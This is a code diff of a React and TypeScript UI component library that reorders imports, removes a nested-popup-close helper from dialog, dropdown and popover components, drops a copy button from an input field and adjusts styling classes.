"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground", "group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 data-selected:*:[svg]:text-foreground",
className, className,
)} )}
{...props} {...props}
> >
{children} {children}
{"data-checked" in props && (
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" /> <CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
</CommandPrimitive.Item> </CommandPrimitive.Item>
); );
} }

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import { CheckIcon, ChevronRightIcon } from "lucide-react"; import * as React from "react";
import { ContextMenu as ContextMenuPrimitive } from "radix-ui"; import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronRightIcon, CheckIcon } from "lucide-react";
function ContextMenu({ function ContextMenu({
...props ...props

View File

@@ -1,9 +1,9 @@
import { XIcon } from "lucide-react"; import * as React from "react";
import { Dialog as DialogPrimitive } from "radix-ui"; import { Dialog as DialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { wasNestedPopupJustClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
function Dialog({ function Dialog({
...props ...props
@@ -49,8 +49,6 @@ function DialogContent({
className, className,
children, children,
showCloseButton = true, showCloseButton = true,
onPointerDownOutside,
onEscapeKeyDown,
...props ...props
}: React.ComponentProps<typeof DialogPrimitive.Content> & { }: React.ComponentProps<typeof DialogPrimitive.Content> & {
showCloseButton?: boolean; showCloseButton?: boolean;
@@ -64,20 +62,6 @@ function DialogContent({
"fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95", "fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95",
className, className,
)} )}
onPointerDownOutside={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onPointerDownOutside?.(event);
}}
onEscapeKeyDown={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onEscapeKeyDown?.(event);
}}
{...props} {...props}
> >
{children} {children}

View File

@@ -1,25 +1,13 @@
import { CheckIcon, ChevronRightIcon } from "lucide-react"; import * as React from "react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui"; import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
function DropdownMenu({ function DropdownMenu({
onOpenChange,
...props ...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) { }: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
return ( return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
<DropdownMenuPrimitive.Root
data-slot="dropdown-menu"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
} }
function DropdownMenuPortal({ function DropdownMenuPortal({

View File

@@ -1,9 +1,9 @@
"use client"; "use client";
import { Accordion as AccordionPrimitive } from "radix-ui";
// import { ScrollArea } from "@acme/components/ui/scroll-area"; // import { ScrollArea } from "@acme/components/ui/scroll-area";
// import { cn } from "@acme/components/lib/utils"; // import { cn } from "@acme/components/lib/utils";
import { ChevronRight, type LucideIcon } from "lucide-react"; import { ChevronRight, type LucideIcon } from "lucide-react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import React from "react"; import React from "react";
import useResizeObserver from "use-resize-observer"; import useResizeObserver from "use-resize-observer";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,4 +1,4 @@
import { type Label as LabelPrimitive, Slot } from "radix-ui"; import { Label as LabelPrimitive, Slot } from "radix-ui";
import * as React from "react"; import * as React from "react";
import { import {
Controller, Controller,

View File

@@ -1,11 +1,12 @@
"use client"; "use client";
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority"; import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import { Textarea } from "@/components/ui/textarea"; import { Textarea } from "@/components/ui/textarea";
import { cn } from "@/lib/utils";
function InputGroup({ className, ...props }: React.ComponentProps<"div">) { function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
return ( return (

View File

@@ -1,7 +1,8 @@
import { OTPInput, OTPInputContext } from "input-otp";
import { MinusIcon } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { OTPInput, OTPInputContext } from "input-otp";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { MinusIcon } from "lucide-react";
function InputOTP({ function InputOTP({
className, className,

View File

@@ -1,17 +1,13 @@
import copy from "copy-to-clipboard"; import { EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import { Clipboard, EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { toast } from "sonner";
import { generateRandomPassword } from "@/lib/password-utils"; import { generateRandomPassword } from "@/lib/password-utils";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "./button";
export interface InputProps extends React.ComponentProps<"input"> { export interface InputProps extends React.ComponentProps<"input"> {
errorMessage?: string; errorMessage?: string;
enablePasswordGenerator?: boolean; enablePasswordGenerator?: boolean;
passwordGeneratorLength?: number; passwordGeneratorLength?: number;
enableCopyButton?: boolean;
} }
function Input({ function Input({
@@ -20,7 +16,6 @@ function Input({
errorMessage, errorMessage,
enablePasswordGenerator = false, enablePasswordGenerator = false,
passwordGeneratorLength, passwordGeneratorLength,
enableCopyButton = false,
ref, ref,
...props ...props
}: InputProps) { }: InputProps) {
@@ -70,12 +65,8 @@ function Input({
input.dispatchEvent(new Event("input", { bubbles: true })); input.dispatchEvent(new Event("input", { bubbles: true }));
}; };
const handleCopy = () => { return (
copy(inputRef.current?.value || ""); <>
toast.success("Value is copied to clipboard");
};
const inputElement = (
<div className="relative w-full"> <div className="relative w-full">
<input <input
type={inputType} type={inputType}
@@ -117,20 +108,6 @@ function Input({
</div> </div>
)} )}
</div> </div>
);
return (
<>
{enableCopyButton ? (
<div className="flex w-full items-center space-x-2">
{inputElement}
<Button type="button" variant={"secondary"} onClick={handleCopy}>
<Clipboard className="size-4 text-muted-foreground" />
</Button>
</div>
) : (
inputElement
)}
{errorMessage && ( {errorMessage && (
<span className="text-sm text-red-600 text-secondary-foreground"> <span className="text-sm text-red-600 text-secondary-foreground">
{errorMessage} {errorMessage}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Label as LabelPrimitive } from "radix-ui"; import { Label as LabelPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,9 +0,0 @@
let lastNestedPopupCloseAt = 0;
export function markNestedPopupClosed() {
lastNestedPopupCloseAt = performance.now();
}
export function wasNestedPopupJustClosed() {
return performance.now() - lastNestedPopupCloseAt < 100;
}

View File

@@ -1,26 +1,14 @@
"use client"; "use client";
import * as React from "react";
import { Popover as PopoverPrimitive } from "radix-ui"; import { Popover as PopoverPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
function Popover({ function Popover({
onOpenChange,
...props ...props
}: React.ComponentProps<typeof PopoverPrimitive.Root>) { }: React.ComponentProps<typeof PopoverPrimitive.Root>) {
return ( return <PopoverPrimitive.Root data-slot="popover" {...props} />;
<PopoverPrimitive.Root
data-slot="popover"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
} }
function PopoverTrigger({ function PopoverTrigger({

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Progress as ProgressPrimitive } from "radix-ui"; import { Progress as ProgressPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client"; "use client";
import * as React from "react";
import { RadioGroup as RadioGroupPrimitive } from "radix-ui"; import { RadioGroup as RadioGroupPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { ScrollArea as ScrollAreaPrimitive } from "radix-ui"; import { ScrollArea as ScrollAreaPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,8 @@
import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from "lucide-react"; import * as React from "react";
import { Select as SelectPrimitive } from "radix-ui"; import { Select as SelectPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronDownIcon, CheckIcon, ChevronUpIcon } from "lucide-react";
function Select({ function Select({
...props ...props
@@ -57,7 +58,7 @@ function SelectTrigger({
function SelectContent({ function SelectContent({
className, className,
children, children,
position = "popper", position = "item-aligned",
align = "center", align = "center",
...props ...props
}: React.ComponentProps<typeof SelectPrimitive.Content>) { }: React.ComponentProps<typeof SelectPrimitive.Content>) {
@@ -80,7 +81,7 @@ function SelectContent({
<SelectPrimitive.Viewport <SelectPrimitive.Viewport
data-position={position} data-position={position}
className={cn( className={cn(
"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)", "data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
position === "popper" && "", position === "popper" && "",
)} )}
> >
@@ -114,7 +115,7 @@ function SelectItem({
<SelectPrimitive.Item <SelectPrimitive.Item
data-slot="select-item" data-slot="select-item"
className={cn( className={cn(
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2", "relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
className, className,
)} )}
{...props} {...props}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Separator as SeparatorPrimitive } from "radix-ui"; import { Separator as SeparatorPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,8 +1,9 @@
import { XIcon } from "lucide-react"; import * as React from "react";
import { Dialog as SheetPrimitive } from "radix-ui"; import { Dialog as SheetPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) { function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) {
return <SheetPrimitive.Root data-slot="sheet" {...props} />; return <SheetPrimitive.Root data-slot="sheet" {...props} />;

View File

@@ -368,7 +368,7 @@ function SidebarContent({ className, ...props }: React.ComponentProps<"div">) {
data-slot="sidebar-content" data-slot="sidebar-content"
data-sidebar="content" data-sidebar="content"
className={cn( className={cn(
"no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto overflow-x-hidden", "no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden",
className, className,
)} )}
{...props} {...props}

View File

@@ -1,14 +1,14 @@
"use client"; "use client";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
import { import {
CircleCheckIcon, CircleCheckIcon,
InfoIcon, InfoIcon,
Loader2Icon,
OctagonXIcon,
TriangleAlertIcon, TriangleAlertIcon,
OctagonXIcon,
Loader2Icon,
} from "lucide-react"; } from "lucide-react";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
const Toaster = ({ ...props }: ToasterProps) => { const Toaster = ({ ...props }: ToasterProps) => {
const { theme = "system" } = useTheme(); const { theme = "system" } = useTheme();

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Switch as SwitchPrimitive } from "radix-ui"; import { Switch as SwitchPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

Some files were not shown because too many files have changed in this diff Show More